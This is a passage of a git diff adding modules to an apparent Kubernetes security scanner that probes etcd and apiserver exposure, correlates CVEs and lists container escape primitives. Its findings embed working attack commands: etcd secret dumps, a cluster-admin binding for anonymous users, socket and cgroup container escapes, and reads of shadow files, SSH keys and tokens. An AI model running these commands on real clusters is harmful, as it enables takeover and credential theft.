+ id="CM-LEAK-BINARY-SUSPECT",
+ title="ConfigMap binaryData with credential-suggestive key name",
+ description=f"ConfigMap {name} has binaryData key '{key}' β name suggests credential storage.",
+ severity="medium",
+ category="ConfigMaps",
+ namespace=ns,
+ resource=f"configmap/{name}",
+ exploitability="easy",
+ exploit=f"kubectl -n {ns} get configmap {name} -o jsonpath='{{.binaryData.{key}}}' | base64 -d",
+ impact="If credential, exposed to anyone with get configmap.",
+ remediation="Migrate to a Secret or external secret manager.",
+ references=["https://kubernetes.io/docs/concepts/configuration/secret/"],
+ ))
+ return findings
diff --git a/kuberoast/scanners/controlplane.py b/kuberoast/scanners/controlplane.py
new file mode 100644
index 0000000..1b67e95
--- /dev/null
+++ b/kuberoast/scanners/controlplane.py
@@ -0,0 +1,223 @@
+"""Control-plane exposure probes β etcd and the legacy insecure apiserver.
+
+These are the crown jewels. Reachability to either, without auth, is
+game over and bypasses Kubernetes RBAC entirely:
+
+ * etcd (2379) without client-cert auth β read/write the entire cluster
+ datastore directly: every Secret (SA tokens, TLS keys), every object.
+ `client-cert-auth=true` gates this at the TLS layer, so if an
+ unauthenticated HTTP /version succeeds, key reads are open too.
+ * insecure apiserver (8080) β unauthenticated, full API access as an
+ implicit cluster-admin. Removed in k8s 1.20 but still found on old
+ or hand-rolled clusters.
+ * etcd peer (2380) reachable from the workload network is itself an
+ exposure (shouldn't be routable from pods).
+
+We TCP-connect and issue read-only HTTP GETs only β never write, never
+dump keys. The operator gets the exact etcdctl/curl to confirm.
+
+Probing targets control-plane-labeled nodes when present (etcd is
+co-located there on kubeadm/self-managed clusters); on managed control
+planes (EKS/GKE/AKS) these ports won't be reachable and nothing fires.
+"""
+import logging
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from typing import List, Tuple
+
+from ..utils.findings import Finding
+from .kubelet import _tcp_open, _http_get
+
+logger = logging.getLogger("kuberoast")
+
+ETCD_CLIENT_PORT = 2379
+ETCD_PEER_PORT = 2380
+APISERVER_INSECURE_PORT = 8080
+
+CONTROL_PLANE_LABELS = (
+ "node-role.kubernetes.io/control-plane",
+ "node-role.kubernetes.io/master",
+)
+
+
+def _probe_etcd(node_name: str, ip: str) -> List[Finding]:
+ findings: List[Finding] = []
+ if not _tcp_open(ip, ETCD_CLIENT_PORT):
+ return findings
+
+ # etcd serves /version over the client port. A 200 without a client cert
+ # means client-cert-auth is off β unauthenticated key access.
+ status, body = _http_get(f"https://{ip}:{ETCD_CLIENT_PORT}/version")
+ if status != 200:
+ status, body = _http_get(f"http://{ip}:{ETCD_CLIENT_PORT}/version")
+
+ if status == 200 and ("etcdserver" in body or "etcdcluster" in body or "version" in body.lower()):
+ findings.append(Finding(
+ id="CP-ETCD-NOAUTH",
+ title="etcd reachable without client-certificate auth",
+ description=(
+ f"etcd on node {node_name} ({ip}:{ETCD_CLIENT_PORT}) answered /version to an "
+ "unauthenticated client. client-cert-auth is not enforced, so the entire cluster "
+ "datastore is readable/writable directly β every Secret, SA token, and object, "
+ "bypassing Kubernetes RBAC completely."
+ ),
+ severity="critical",
+ category="ControlPlane",
+ resource=f"node/{node_name}",
+ exploitability="trivial",
+ exploit=(
+ f"# Dump every secret straight from etcd (no API server, no RBAC):\n"
+ f"etcdctl --endpoints=https://{ip}:{ETCD_CLIENT_PORT} --insecure-skip-tls-verify "
+ f"get / --prefix --keys-only | grep /secrets/\n"
+ f"etcdctl --endpoints=https://{ip}:{ETCD_CLIENT_PORT} --insecure-skip-tls-verify "
+ f"get /registry/secrets/kube-system/ --prefix"
+ ),
+ impact="Full cluster compromise. Direct read/write of all Secrets and objects in etcd β "
+ "instant cluster-admin equivalent, undetectable by API audit logs.",
+ attack_techniques=["T1552.007", "T1213"],
+ remediation=(
+ "Enable etcd mutual TLS: --client-cert-auth=true and --trusted-ca-file. Restrict "
+ "etcd ports to the control-plane network only; never route them to the pod/workload network. "
+ "Encrypt secrets at rest with an EncryptionConfiguration so an etcd read isn't plaintext."
+ ),
+ references=[
+ "https://etcd.io/docs/latest/op-guide/security/",
+ "https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/",
+ ],
+ ))
+ else:
+ findings.append(Finding(
+ id="CP-ETCD-REACHABLE",
+ title="etcd client port reachable from scan origin",
+ description=(
+ f"etcd client port {ip}:{ETCD_CLIENT_PORT} on node {node_name} is reachable "
+ "(TCP connect succeeded; it did not return /version unauthenticated, so client-cert "
+ "auth is likely enforced). etcd should not be routable from the workload network at all."
+ ),
+ severity="high",
+ category="ControlPlane",
+ resource=f"node/{node_name}",
+ exploitability="moderate",
+ exploit=(
+ f"# Confirm whether client-cert auth is enforced:\n"
+ f"curl -sk https://{ip}:{ETCD_CLIENT_PORT}/version\n"
+ f"# If you can obtain etcd client certs (e.g. from a control-plane node), full datastore access follows."
+ ),
+ impact="Network path to etcd from this position. With stolen/forged etcd client certs, "
+ "full datastore access (all Secrets) follows.",
+ attack_techniques=["T1213"],
+ remediation="Firewall etcd ports to the control-plane network. Pods and general workloads must "
+ "never have a route to 2379/2380.",
+ references=["https://etcd.io/docs/latest/op-guide/security/"],
+ ))
+
+ # Peer port exposure
+ if _tcp_open(ip, ETCD_PEER_PORT):
+ findings.append(Finding(
+ id="CP-ETCD-PEER",
+ title="etcd peer port reachable",
+ description=f"etcd peer port {ip}:{ETCD_PEER_PORT} on node {node_name} is reachable from the scan origin.",
+ severity="medium",
+ category="ControlPlane",
+ resource=f"node/{node_name}",
+ exploitability="moderate",
+ exploit=f"# Peer port is for etcd-to-etcd replication; reachability from workloads is a misconfiguration.",
+ impact="etcd replication traffic exposed; widens the etcd attack surface.",
+ attack_techniques=["T1213"],
+ remediation="Restrict the etcd peer port to the etcd cluster members only.",
+ references=["https://etcd.io/docs/latest/op-guide/security/"],
+ ))
+
+ return findings
+
+
+def _probe_insecure_apiserver(node_name: str, ip: str) -> List[Finding]:
+ findings: List[Finding] = []
+ if not _tcp_open(ip, APISERVER_INSECURE_PORT):
+ return findings
+
+ status, body = _http_get(f"http://{ip}:{APISERVER_INSECURE_PORT}/api")
+ if status == 200 and ("versions" in body or "serverAddress" in body or "APIVersions" in body):
+ findings.append(Finding(
+ id="CP-APISERVER-INSECURE",
+ title="Insecure apiserver port serves the API unauthenticated",
+ description=(
+ f"The kube-apiserver insecure port on {ip}:{APISERVER_INSECURE_PORT} (node {node_name}) "
+ "returned the API root without authentication. Requests on this port are treated as an "
+ "implicit cluster-admin β full unauthenticated control of the cluster."
+ ),
+ severity="critical",
+ category="ControlPlane",
+ resource=f"node/{node_name}",
+ exploitability="trivial",
+ exploit=(
+ f"kubectl --server=http://{ip}:{APISERVER_INSECURE_PORT} --insecure-skip-tls-verify get secrets -A\n"
+ f"kubectl --server=http://{ip}:{APISERVER_INSECURE_PORT} create clusterrolebinding pwn "
+ f"--clusterrole=cluster-admin --user=system:anonymous"
+ ),
+ impact="Unauthenticated cluster-admin. Read all Secrets, create workloads, bind roles β total takeover.",
+ attack_techniques=["T1190", "T1078"],
+ remediation=(
+ "Disable the insecure port: --insecure-port=0 (it is removed entirely in Kubernetes β₯1.20 β "
+ "upgrade if this port exists). Ensure only the secure port (6443) is served."
+ ),
+ references=[
+ "https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/",
+ ],
+ ))
+ else:
+ findings.append(Finding(
+ id="CP-PORT-8080-OPEN",
+ title="Port 8080 open on node (verify it isn't an insecure apiserver)",
+ description=(
+ f"Port {APISERVER_INSECURE_PORT} is open on {ip} (node {node_name}) but did not return the API "
+ f"root (HTTP {status}). Confirm what is listening β historically this is the insecure apiserver port."
+ ),
+ severity="low",
+ category="ControlPlane",
+ resource=f"node/{node_name}",
+ exploitability="easy",
+ exploit=f"curl -s http://{ip}:{APISERVER_INSECURE_PORT}/api http://{ip}:{APISERVER_INSECURE_PORT}/healthz",
+ impact="Unknown service on the historical insecure-apiserver port; identify and restrict it.",
+ remediation="Identify the listener; if it is kube-apiserver, set --insecure-port=0.",
+ references=["https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/"],
+ ))
+ return findings
+
+
+def _control_plane_targets(nodes) -> List[Tuple[str, str]]:
+ """Return (node_name, ip) to probe. Prefer control-plane-labeled nodes; else all nodes."""
+ cp_tasks: List[Tuple[str, str]] = []
+ all_tasks: List[Tuple[str, str]] = []
+ for n in nodes:
+ labels = getattr(getattr(n, "metadata", None), "labels", None) or {}
+ is_cp = any(l in labels for l in CONTROL_PLANE_LABELS)
+ addrs = getattr(getattr(n, "status", None), "addresses", []) or []
+ ips = [a.address for a in addrs if a.type in ("InternalIP", "ExternalIP")]
+ for ip in ips:
+ all_tasks.append((n.metadata.name, ip))
+ if is_cp:
+ cp_tasks.append((n.metadata.name, ip))
+ return cp_tasks or all_tasks
+
+
+def _probe_node(node_name: str, ip: str) -> List[Finding]:
+ findings: List[Finding] = []
+ findings.extend(_probe_etcd(node_name, ip))
+ findings.extend(_probe_insecure_apiserver(node_name, ip))
+ return findings
+
+
+def scan_control_plane(nodes, max_workers: int = 10) -> List[Finding]:
+ findings: List[Finding] = []
+ tasks = _control_plane_targets(nodes or [])
+ if not tasks:
+ return findings
+ with ThreadPoolExecutor(max_workers=min(max_workers, len(tasks))) as pool:
+ futures = {pool.submit(_probe_node, name, ip): (name, ip) for name, ip in tasks}
+ for fut in as_completed(futures):
+ try:
+ findings.extend(fut.result())
+ except Exception as e:
+ name, ip = futures[fut]
+ logger.warning("Failed to probe control-plane on %s at %s: %s", name, ip, e)
+ return findings
diff --git a/kuberoast/scanners/cve.py b/kuberoast/scanners/cve.py
new file mode 100644
index 0000000..4a20aaa
--- /dev/null
+++ b/kuberoast/scanners/cve.py
@@ -0,0 +1,396 @@
+"""Known-exploitable CVE correlation.
+
+Maps the actual versions running in the cluster β apiserver, kubelet,
+container runtime, kernel, and ingress-nginx β against a curated set of
+high-impact, attacker-relevant CVEs (container escapes, RCE, privilege
+escalation). This is offline and deterministic: no phoning home, works
+in restricted assessment networks.
+
+Curation bar: a CVE earns a place here only if it yields code execution,
+container escape, or privilege escalation in a realistic cluster. We do
+not list DoS or info-leak noise. Each entry carries the public exploit
+reference, EPSS, and CISA KEV status (verified against live feeds at
+authoring time, 2026-06).
+
+Version data:
+ * server gitVersion β VersionApi / Deployment image
+ * node.status.nodeInfo.kubeletVersion / containerRuntimeVersion / kernelVersion
+ * ingress-nginx controller image tag
+"""
+from typing import List, Optional, Callable, Dict, Tuple
+from ..utils.findings import Finding
+from ..utils import versions as V
+
+Version = V.Version
+
+
+def _between(lo, hi):
+ return lambda v: V.in_range(v, lo, hi)
+
+
+def _below(hi):
+ return lambda v: V.lt(v, hi)
+
+
+def _at_or_below(hi):
+ return lambda v: V.lte(v, hi)
+
+
+# Each entry: component, predicate(version)->bool, finding kwargs.
+# `component` is one of: kubernetes, kubelet, runtime:, kernel, ingress-nginx
+class _CVE:
+ def __init__(self, component, predicate, cve, title, severity, exploitability,
+ impact, exploit, techniques, references, kev=False, epss=None,
+ runtime=None, precondition=None):
+ self.component = component
+ self.predicate = predicate
+ self.cve = cve
+ self.title = title
+ self.severity = severity
+ self.exploitability = exploitability
+ self.impact = impact
+ self.exploit = exploit
+ self.techniques = techniques
+ self.references = references
+ self.kev = kev
+ self.epss = epss
+ self.runtime = runtime # for runtime CVEs, the runtime name e.g. 'runc'
+ self.precondition = precondition
+
+
+KB: List[_CVE] = [
+ # ---- Container runtime: runc ----
+ _CVE(
+ component="runtime:runc",
+ predicate=_at_or_below((1, 1, 11)),
+ cve="CVE-2024-21626",
+ title="runc 'Leaky Vessels' β WORKDIR file-descriptor container escape",
+ severity="critical", exploitability="easy",
+ impact="Container escape to host filesystem via leaked runc fd. With a crafted image or "
+ "WORKDIR, an attacker reads/writes the host and escapes the container.",
+ exploit="# Build/run an image with WORKDIR pointing through /proc/self/fd/ to the host root,\n"
+ "# or exec into a container whose process cwd is a leaked host fd. PoC:\n"
+ "# https://github.com/NitroCao/CVE-2024-21626",
+ techniques=["T1611"],
+ references=[
+ "https://nvd.nist.gov/vuln/detail/CVE-2024-21626",
+ "https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv",
+ ],
+ epss=0.05,
+ ),
+ _CVE(
+ component="runtime:runc",
+ predicate=_below((1, 0, 0)), # rc-era; <1.0.0 covers <=1.0-rc6
+ cve="CVE-2019-5736",
+ title="runc /proc/self/exe overwrite β host runc binary replacement",
+ severity="critical", exploitability="easy",
+ impact="Container escape: a malicious container overwrites the host runc binary, gaining "
+ "root code execution on the node the next time any container is started/exec'd.",
+ exploit="# Classic /proc/self/exe overwrite. PoC: https://github.com/Frichetten/CVE-2019-5736-PoC",
+ techniques=["T1611"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2019-5736"],
+ epss=0.59,
+ ),
+
+ # ---- Container runtime: containerd ----
+ _CVE(
+ component="runtime:containerd",
+ predicate=_below((1, 4, 3)), # also <1.3.9 on the 1.3 line
+ cve="CVE-2020-15257",
+ title="containerd-shim abstract-socket exposure (host-net escape)",
+ severity="high", exploitability="moderate",
+ impact="A hostNetwork container can reach the containerd-shim API over its abstract Unix "
+ "socket and instruct it to spawn a process on the host β container escape.",
+ exploit="# Reach the shim's abstract socket from a hostNetwork pod. PoC tooling:\n"
+ "# https://github.com/cdk-team/CDK (run --shim-pwn)",
+ techniques=["T1611"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2020-15257"],
+ epss=0.13,
+ precondition="Requires a hostNetwork container (shares the abstract socket namespace).",
+ ),
+
+ # ---- kube-apiserver ----
+ _CVE(
+ component="kubernetes",
+ predicate=_below((1, 10, 11)), # plus 1.11<1.11.5 and 1.12<1.12.3 handled below
+ cve="CVE-2018-1002105",
+ title="kube-apiserver proxy upgrade β unauthenticated backend escalation",
+ severity="critical", exploitability="easy",
+ impact="Crafted upgrade requests let an attacker tunnel arbitrary authenticated requests "
+ "through the apiserver to backends (kubelets, aggregated APIs) using the apiserver's "
+ "own TLS identity β cluster takeover.",
+ exploit="# Send an upgrade request to an aggregated API / pod exec endpoint, then reuse the\n"
+ "# established backend connection. Background: https://github.com/evict/poc_CVE-2018-1002105",
+ techniques=["T1068", "T1210"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"],
+ epss=0.90,
+ ),
+ _CVE(
+ component="kubernetes",
+ predicate=_between((1, 11, 0), (1, 11, 5)),
+ cve="CVE-2018-1002105",
+ title="kube-apiserver proxy upgrade β unauthenticated backend escalation",
+ severity="critical", exploitability="easy",
+ impact="See above β affects the 1.11 line below 1.11.5.",
+ exploit="https://github.com/evict/poc_CVE-2018-1002105",
+ techniques=["T1068", "T1210"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"],
+ epss=0.90,
+ ),
+ _CVE(
+ component="kubernetes",
+ predicate=_between((1, 12, 0), (1, 12, 3)),
+ cve="CVE-2018-1002105",
+ title="kube-apiserver proxy upgrade β unauthenticated backend escalation",
+ severity="critical", exploitability="easy",
+ impact="See above β affects the 1.12 line below 1.12.3.",
+ exploit="https://github.com/evict/poc_CVE-2018-1002105",
+ techniques=["T1068", "T1210"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"],
+ epss=0.90,
+ ),
+ _CVE(
+ component="kubernetes",
+ predicate=_below((1, 18, 6)), # fixed 1.16.13/1.17.9/1.18.6; approximate cutoff
+ cve="CVE-2020-8559",
+ title="apiserverβkubelet redirect β cross-node pod takeover",
+ severity="high", exploitability="moderate",
+ impact="A compromised node can return a redirect to an upgrade request, causing the apiserver "
+ "to replay the request (with its credentials) against another node's kubelet β lateral "
+ "movement to pods on other nodes.",
+ exploit="# Requires control of one node/kubelet to return crafted redirects to exec/attach/portforward.",
+ techniques=["T1610", "T1021"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2020-8559"],
+ epss=0.51,
+ precondition="Requires prior compromise of at least one node.",
+ ),
+ _CVE(
+ component="kubernetes",
+ predicate=_below((1, 22, 2)), # subPath fix line: 1.19.16/1.20.11/1.21.5/1.22.2
+ cve="CVE-2021-25741",
+ title="kubelet subPath symlink β host file read/write & escape",
+ severity="high", exploitability="moderate",
+ impact="A volume subPath symlink race lets a pod mount arbitrary host paths into the container, "
+ "exposing host files and enabling escape on affected kubelets.",
+ exploit="# Race a subPath symlink swap during volume mount. Background:\n"
+ "# https://github.com/kubernetes/kubernetes/issues/104980",
+ techniques=["T1611", "T1006"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2021-25741"],
+ epss=0.33,
+ precondition="Requires ability to create pods with subPath volume mounts.",
+ ),
+
+ # ---- Kernel (caveated: distros backport; verify) ----
+ _CVE(
+ component="kernel",
+ predicate=_below((5, 16, 2)),
+ cve="CVE-2022-0185",
+ title="Linux fsconfig heap overflow β container escape / LPE (CISA KEV)",
+ severity="critical", exploitability="moderate",
+ impact="Heap overflow in legacy_parse_param reachable from a user namespace with CAP_SYS_ADMIN. "
+ "Yields kernel LPE and container escape. Actively exploited (CISA KEV).",
+ exploit="# Requires CAP_SYS_ADMIN in a (user) namespace β default in many runtimes via unshare.\n"
+ "# PoC: https://github.com/Crusaders-of-Rust/CVE-2022-0185",
+ techniques=["T1611", "T1068"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2022-0185"],
+ kev=True, epss=0.02,
+ precondition="Requires CAP_SYS_ADMIN in a user namespace; distro may have backported the fix β verify.",
+ ),
+ _CVE(
+ component="kernel",
+ predicate=_below((6, 8, 0)),
+ cve="CVE-2024-1086",
+ title="Linux nf_tables use-after-free β local privilege escalation (CISA KEV)",
+ severity="high", exploitability="moderate",
+ impact="UAF in netfilter nf_tables gives kernel LPE (root on the node). Reachable from an "
+ "unprivileged user namespace with CAP_NET_ADMIN. Actively exploited (CISA KEV).",
+ exploit="# Needs unprivileged user namespaces (kernel.unprivileged_userns_clone=1) + nf_tables.\n"
+ "# PoC: https://github.com/Notselwyn/CVE-2024-1086",
+ techniques=["T1068"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2024-1086"],
+ kev=True, epss=0.85,
+ precondition="Requires unprivileged user namespaces enabled; many distros backported the fix β verify kernel build date.",
+ ),
+
+ # ---- ingress-nginx ----
+ _CVE(
+ component="ingress-nginx",
+ predicate=lambda v: V.lt(v, (1, 11, 5)) or V.in_range(v, (1, 12, 0), (1, 12, 1)),
+ cve="CVE-2025-1974",
+ title="ingress-nginx 'IngressNightmare' β unauthenticated RCE in admission controller",
+ severity="critical", exploitability="easy",
+ impact="Unauthenticated attackers with pod-network access to the admission controller inject "
+ "NGINX config and execute code in the ingress-nginx pod β which holds a token that can "
+ "read ALL cluster Secrets. Effective cluster takeover. EPSS ~0.91.",
+ exploit="# Send a crafted AdmissionReview to the controller's webhook port from inside the pod network.\n"
+ "# Advisory + PoC: https://github.com/kubernetes/kubernetes/issues/131009",
+ techniques=["T1190", "T1610"],
+ references=[
+ "https://github.com/kubernetes/ingress-nginx/security/advisories/GHSA-22qq-3xwm-r5x4",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-1974",
+ ],
+ epss=0.91,
+ ),
+ _CVE(
+ component="ingress-nginx",
+ predicate=_below((1, 9, 0)),
+ cve="CVE-2023-5044",
+ title="ingress-nginx annotation injection (nginx.ingress.kubernetes.io/permanent-redirect) β RCE",
+ severity="high", exploitability="moderate",
+ impact="CRLF/config injection via ingress annotations lets a tenant with Ingress-create rights "
+ "run code in the ingress controller and read its serviceaccount token.",
+ exploit="# Craft a malicious annotation on an Ingress you can create. Background:\n"
+ "# https://github.com/kubernetes/ingress-nginx/issues/10571",
+ techniques=["T1190"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2023-5044"],
+ epss=0.11,
+ precondition="Requires the ability to create/annotate Ingress objects.",
+ ),
+ _CVE(
+ component="ingress-nginx",
+ predicate=_below((1, 0, 1)),
+ cve="CVE-2021-25742",
+ title="ingress-nginx snippet annotation β read controller secrets / RCE",
+ severity="high", exploitability="moderate",
+ impact="configuration-snippet annotations allow retrieving the controller's serviceaccount "
+ "token and other Secrets β pivot to broad cluster access.",
+ exploit="# Add a configuration-snippet annotation that returns the SA token.",
+ techniques=["T1190"],
+ references=["https://nvd.nist.gov/vuln/detail/CVE-2021-25742"],
+ epss=0.006,
+ precondition="Requires Ingress-create rights and allow-snippet-annotations enabled.",
+ ),
+]
+
+
+def _emit(entry: _CVE, version: Version, resource: str, version_str: str) -> Finding:
+ tags = []
+ if entry.kev:
+ tags.append("CISA-KEV")
+ if entry.epss is not None:
+ tags.append(f"EPSS={entry.epss:.2f}")
+ suffix = f" [{', '.join(tags)}]" if tags else ""
+ desc = (
+ f"{resource} runs {entry.component} {version_str}, affected by {entry.cve}.{suffix}\n"
+ f"{entry.impact}"
+ )
+ if entry.precondition:
+ desc += f"\nPrecondition: {entry.precondition}"
+ md: Dict[str, str] = {"cve": entry.cve, "version": version_str}
+ if entry.kev:
+ md["kev"] = "true"
+ if entry.epss is not None:
+ md["epss"] = f"{entry.epss:.4f}"
+ return Finding(
+ id=f"CVE-{entry.cve.split('-', 1)[1]}",
+ title=entry.title,
+ description=desc,
+ severity=entry.severity,
+ category="CVE",
+ resource=resource,
+ metadata=md,
+ exploitability=entry.exploitability,
+ exploit=entry.exploit,
+ impact=entry.impact,
+ attack_techniques=entry.techniques,
+ remediation=f"Upgrade {entry.component} past the fixed version for {entry.cve}.",
+ references=entry.references,
+ )
+
+
+def _match_component(component: str, version: Optional[Version], resource: str,
+ version_str: str, runtime_name: Optional[str] = None) -> List[Finding]:
+ out: List[Finding] = []
+ if version is None:
+ return out
+ for entry in KB:
+ if entry.component != component:
+ continue
+ if component.startswith("runtime:"):
+ want = component.split(":", 1)[1]
+ if runtime_name and runtime_name != want:
+ continue
+ try:
+ if entry.predicate(version):
+ out.append(_emit(entry, version, resource, version_str))
+ except Exception:
+ continue
+ return out
+
+
+def scan_cve(server_version: Optional[str] = None,
+ nodes=None,
+ ingress_images=None) -> List[Finding]:
+ """Correlate running versions against the CVE knowledge base.
+
+ server_version : apiserver gitVersion string (e.g. 'v1.27.3')
+ nodes : node objects with .status.node_info.*
+ ingress_images : iterable of (image_ref, resource_str) for ingress-nginx controllers
+ """
+ findings: List[Finding] = []
+
+ # apiserver / kubernetes
+ if server_version:
+ sv = V.parse_version(server_version)
+ findings.extend(_match_component("kubernetes", sv, "cluster/apiserver", server_version))
+
+ # per-node kubelet / runtime / kernel
+ for n in (nodes or []):
+ ninfo = getattr(getattr(n, "status", None), "node_info", None)
+ node_name = getattr(getattr(n, "metadata", None), "name", "?")
+ if not ninfo:
+ continue
+ kubelet = getattr(ninfo, "kubelet_version", None)
+ runtime = getattr(ninfo, "container_runtime_version", None)
+ kernel = getattr(ninfo, "kernel_version", None)
+
+ kv = V.parse_version(kubelet)
+ findings.extend(_match_component("kubernetes", kv, f"node/{node_name} (kubelet)", kubelet or "?"))
+
+ rt_name, rt_ver = V.parse_runtime(runtime)
+ if rt_name and rt_ver:
+ findings.extend(_match_component(f"runtime:{rt_name}", rt_ver,
+ f"node/{node_name} ({rt_name})", runtime, runtime_name=rt_name))
+
+ kern = V.parse_version(kernel)
+ findings.extend(_match_component("kernel", kern, f"node/{node_name} (kernel)", kernel or "?"))
+
+ # ingress-nginx controller images
+ for image, resource in (ingress_images or []):
+ _repo, ver = V.parse_image_tag(image)
+ if ver:
+ findings.extend(_match_component("ingress-nginx", ver, resource, image))
+
+ # De-dupe identical (id, resource) pairs
+ seen = set()
+ deduped = []
+ for f in findings:
+ key = (f.id, f.resource)
+ if key in seen:
+ continue
+ seen.add(key)
+ deduped.append(f)
+ return deduped
+
+
+def find_ingress_images(pods, deployments) -> List[Tuple[str, str]]:
+ """Heuristically locate ingress-nginx controller images for CVE matching."""
+ out: List[Tuple[str, str]] = []
+
+ def _scan_containers(spec, resource):
+ for c in (getattr(spec, "containers", None) or []):
+ img = getattr(c, "image", None) or ""
+ if "ingress-nginx" in img or "ingress-nginx/controller" in img:
+ out.append((img, resource))
+
+ for p in (pods or []):
+ spec = getattr(p, "spec", None)
+ if spec:
+ _scan_containers(spec, f"pod/{getattr(p.metadata, 'name', '?')}")
+ for d in (deployments or []):
+ spec = getattr(d, "spec", None)
+ tmpl = getattr(spec, "template", None) if spec else None
+ tspec = getattr(tmpl, "spec", None) if tmpl else None
+ if tspec:
+ _scan_containers(tspec, f"deployment/{getattr(d.metadata, 'name', '?')}")
+ return out
diff --git a/kuberoast/scanners/escapes.py b/kuberoast/scanners/escapes.py
new file mode 100644
index 0000000..5c77bd9
--- /dev/null
+++ b/kuberoast/scanners/escapes.py
@@ -0,0 +1,383 @@
+"""Container escape primitive analysis.
+
+For each pod, identifies concrete escape primitives an attacker would use
+once they have RCE in the container. Output is calibrated to operator
+needs: the actual PoC command, the difficulty, and the resulting blast
+radius. Not a checklist.
+
+Primitives are evaluated per-container and per-pod. The most severe
+primitive wins; lesser primitives still emit informational findings so an
+operator can plan a chain (e.g. SYS_PTRACE + hostPID).
+"""
+from typing import List, Optional, Tuple
+from .shared import iter_containers
+from ..utils.findings import Finding
+
+
+SENSITIVE_HOST_PATHS = {
+ "/": ("trivial", "Full root filesystem", "chroot /host bash"),
+ "/var/run/docker.sock": (
+ "trivial",
+ "Docker daemon socket β spawn privileged sibling containers",
+ "docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host",
+ ),
+ "/var/run/containerd/containerd.sock": (
+ "trivial",
+ "containerd socket β spawn privileged sibling containers",
+ "ctr -a /var/run/containerd/containerd.sock run --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw -t docker.io/library/alpine:latest esc sh",
+ ),
+ "/var/run/crio/crio.sock": (
+ "trivial",
+ "CRI-O socket β spawn sibling containers via crictl",
+ "crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods",
+ ),
+ "/run/containerd/containerd.sock": (
+ "trivial",
+ "containerd socket β spawn privileged sibling containers",
+ "ctr -a /run/containerd/containerd.sock run --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw -t docker.io/library/alpine:latest esc sh",
+ ),
+ "/proc": ("easy", "Host /proc β kernel info, process inspection, /proc/1/root access", "ls /host/proc/1/root/"),
+ "/var/log": ("easy", "Host log dir β readable via kubelet's symlink-following log endpoint", "kubectl logs --previous"),
+ "/etc": ("easy", "Host /etc β read shadow, modify cron, write SSH authorized_keys", "cat /host/etc/shadow"),
+ "/root": ("easy", "Host root home β SSH keys, history, sometimes kubeconfig", "cat /host/root/.ssh/id_rsa"),
+ "/home": ("easy", "Host /home β user SSH keys, dotfiles", "cat /host/home/*/.ssh/id_rsa"),
+ "/var/lib/kubelet": (
+ "easy",
+ "kubelet state dir β extract every SA token mounted on this node",
+ "find /host/var/lib/kubelet/pods -name token -exec cat {} \\;",
+ ),
+ "/var/lib/etcd": (
+ "trivial",
+ "etcd data dir β direct cluster state, all secrets",
+ "ls /host/var/lib/etcd/",
+ ),
+ "/etc/kubernetes": (
+ "trivial",
+ "Control-plane configs and certs (on control-plane nodes)",
+ "cat /host/etc/kubernetes/admin.conf",
+ ),
+}
+
+# Capability β (difficulty, impact, PoC)
+DANGEROUS_CAP_PRIMITIVES = {
+ "SYS_ADMIN": (
+ "trivial",
+ "Mount host filesystems, manipulate cgroups, namespace ops",
+ "mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg && echo 1 > /tmp/cg/notify_on_release && host_path=$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab) && echo \"$host_path/cmd\" > /tmp/cg/release_agent",
+ ),
+ "SYS_MODULE": (
+ "trivial",
+ "Load kernel modules β direct kernel code execution",
+ "insmod /path/to/malicious.ko",
+ ),
+ "SYS_PTRACE": (
+ "easy",
+ "Attach to host processes (requires hostPID) β inject into PID 1",
+ "gdb -p 1 (with hostPID=true)",
+ ),
+ "SYS_RAWIO": (
+ "easy",
+ "Direct disk I/O β read raw disk devices, bypass filesystem",
+ "dd if=/dev/sda of=/tmp/disk.img bs=1M count=100",
+ ),
+ "DAC_READ_SEARCH": (
+ "easy",
+ "Bypass file read permission checks β read any file via open_by_handle_at",
+ "shocker-like exploit using open_by_handle_at on host inodes",
+ ),
+ "NET_ADMIN": (
+ "moderate",
+ "Network manipulation β sniff traffic, modify iptables, ARP spoof",
+ "tcpdump -i any -w /tmp/cap.pcap",
+ ),
+ "NET_RAW": (
+ "moderate",
+ "Raw socket access β ARP/DNS spoofing on pod network",
+ "arpspoof -i eth0 -t ",
+ ),
+ "SYSLOG": (
+ "moderate",
+ "Read kernel log β observe kASLR, exploit hints",
+ "dmesg",
+ ),
+}
+
+
+def _check_writable_proc(volume_mounts) -> Optional[Tuple[str, str, str]]:
+ """Detect writable /proc subpaths that enable kernel exploit primitives."""
+ if not volume_mounts:
+ return None
+ for vm in volume_mounts:
+ mp = getattr(vm, "mount_path", None) or getattr(vm, "mountPath", None) or ""
+ ro = bool(getattr(vm, "read_only", False))
+ if mp in ("/proc/sys/kernel/core_pattern",) and not ro:
+ return (
+ "trivial",
+ "Writable /proc/sys/kernel/core_pattern β set host program to run on segfault",
+ "echo '|/bin/sh -c id>/tmp/pwn' > /proc/sys/kernel/core_pattern && sleep 1 && kill -SEGV $$",
+ )
+ if mp in ("/proc/sys", "/proc") and not ro:
+ return (
+ "easy",
+ "Writable /proc β multiple kernel-tunable abuse vectors",
+ "echo 1 > /proc/sys/kernel/sysrq",
+ )
+ return None
+
+
+def _container_primitives(c, pod) -> List[Finding]:
+ """Return per-container escape findings."""
+ findings: List[Finding] = []
+ ns = pod.metadata.namespace
+ pname = pod.metadata.name
+ cname = c.name
+ resource = f"pod/{pname}::{cname}"
+
